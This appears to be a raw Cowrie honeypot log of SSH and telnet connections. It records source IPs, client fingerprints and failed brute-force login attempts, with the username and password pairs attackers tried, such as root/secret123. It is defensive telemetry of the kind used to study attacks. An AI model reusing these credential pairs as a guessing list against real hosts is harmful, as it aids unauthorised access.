{"eventid":"cowrie.login.failed","username":"shusha","password":"123456","message":"login attempt [shusha/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:32.323061Z","src_ip":"159.65.58.200","session":"e09ed95e4a3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:33.034809Z","src_ip":"103.97.101.25","session":"a036aa2b4de8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":58766,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea9d80a11f47","protocol":"ssh","message":"New connection: 162.254.35.142:58766 (10.17.0.5:22) [session: ea9d80a11f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:33.547569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:33.552782Z","src_ip":"162.254.35.142","session":"ea9d80a11f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:33.586861Z","src_ip":"159.65.58.200","session":"e09ed95e4a3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:33.613107Z","src_ip":"162.254.35.142","session":"ea9d80a11f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"brd789","message":"login attempt [root/brd789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:33.864312Z","src_ip":"162.254.35.142","session":"ea9d80a11f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:34.931228Z","src_ip":"162.254.35.142","session":"ea9d80a11f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:35.516674Z","src_ip":"8.210.75.243","session":"9938275bc525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.476710557937622,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:36.614282Z","src_ip":"170.64.224.25","session":"e5f0e1520b37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48806,"dst_ip":"10.17.0.5","dst_port":22,"session":"80d85ed192a7","protocol":"ssh","message":"New connection: 8.210.75.243:48806 (10.17.0.5:22) [session: 80d85ed192a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:43.005419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:43.009616Z","src_ip":"8.210.75.243","session":"80d85ed192a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":49000,"dst_ip":"159.203.135.109","dst_port":22,"session":"8471a68bf196","protocol":"ssh","message":"New connection: 162.241.132.183:49000 (159.203.135.109:22) [session: 8471a68bf196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:44.728517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:44.731850Z","src_ip":"162.241.132.183","session":"8471a68bf196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:44.759165Z","src_ip":"162.241.132.183","session":"8471a68bf196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cake","password":"cake456","message":"login attempt [cake/cake456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:44.843389Z","src_ip":"162.241.132.183","session":"8471a68bf196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:45.873761Z","src_ip":"162.241.132.183","session":"8471a68bf196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:48.103835Z","src_ip":"114.220.238.21","session":"d0a2cce1e58f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":33570,"dst_ip":"10.17.0.5","dst_port":22,"session":"49910a7ec7cb","protocol":"ssh","message":"New connection: 163.7.1.218:33570 (10.17.0.5:22) [session: 49910a7ec7cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:52.904343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:52.908698Z","src_ip":"163.7.1.218","session":"49910a7ec7cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:53.159394Z","src_ip":"163.7.1.218","session":"49910a7ec7cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":42114,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a220b4b8da0","protocol":"ssh","message":"New connection: 152.32.205.153:42114 (10.17.0.5:22) [session: 3a220b4b8da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:53.461206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:53.464724Z","src_ip":"152.32.205.153","session":"3a220b4b8da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:53.478066Z","src_ip":"152.32.205.153","session":"3a220b4b8da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"168168","message":"login attempt [root/168168] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:53.568023Z","src_ip":"152.32.205.153","session":"3a220b4b8da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60902,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ba9bde758d9","protocol":"ssh","message":"New connection: 8.210.75.243:60902 (10.17.0.5:22) [session: 8ba9bde758d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:53.985224Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ys123456!","message":"login attempt [root/Ys123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:54.196434Z","src_ip":"163.7.1.218","session":"49910a7ec7cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":34236,"dst_ip":"10.17.0.5","dst_port":22,"session":"a04b33e2d4cc","protocol":"ssh","message":"New connection: 152.53.185.81:34236 (10.17.0.5:22) [session: a04b33e2d4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:54.561119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:54.564388Z","src_ip":"152.53.185.81","session":"a04b33e2d4cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:54.584081Z","src_ip":"152.32.205.153","session":"3a220b4b8da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:54.652757Z","src_ip":"152.53.185.81","session":"a04b33e2d4cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"secret123","message":"login attempt [root/secret123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:55.049994Z","src_ip":"152.53.185.81","session":"a04b33e2d4cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:55.449238Z","src_ip":"163.7.1.218","session":"49910a7ec7cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":35358,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f5f683b3c73","protocol":"ssh","message":"New connection: 132.148.142.226:35358 (10.17.0.5:22) [session: 4f5f683b3c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:55.719304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:55.721771Z","src_ip":"132.148.142.226","session":"4f5f683b3c73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:55.786912Z","src_ip":"132.148.142.226","session":"4f5f683b3c73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hayden","password":"Uniswap#Cr@zy$P@ss!","message":"login attempt [hayden/Uniswap#Cr@zy$P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:55.984899Z","src_ip":"132.148.142.226","session":"4f5f683b3c73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:56.139805Z","src_ip":"152.53.185.81","session":"a04b33e2d4cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:57.051155Z","src_ip":"132.148.142.226","session":"4f5f683b3c73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.6370632648468,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:59.134106Z","src_ip":"170.64.224.25","session":"40f2b546f76b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44762,"dst_ip":"10.17.0.5","dst_port":22,"session":"04cf73c782d6","protocol":"ssh","message":"New connection: 8.210.75.243:44762 (10.17.0.5:22) [session: 04cf73c782d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:01.518590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:01.528767Z","src_ip":"8.210.75.243","session":"04cf73c782d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":60482,"dst_ip":"10.17.0.5","dst_port":22,"session":"484f370a2011","protocol":"ssh","message":"New connection: 196.196.150.5:60482 (10.17.0.5:22) [session: 484f370a2011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:06.489516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:06.493796Z","src_ip":"196.196.150.5","session":"484f370a2011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:06.607774Z","src_ip":"196.196.150.5","session":"484f370a2011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hb@123456","message":"login attempt [root/Hb@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:07.062314Z","src_ip":"196.196.150.5","session":"484f370a2011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:08.172204Z","src_ip":"196.196.150.5","session":"484f370a2011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.64872169494629,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:12.547404Z","src_ip":"170.64.224.25","session":"3df703718db4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":38324,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b9b11b3a6b1","protocol":"ssh","message":"New connection: 190.244.39.224:38324 (159.203.135.109:22) [session: 8b9b11b3a6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:21.453668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:21.457551Z","src_ip":"190.244.39.224","session":"8b9b11b3a6b1","protocol":"ssh"}
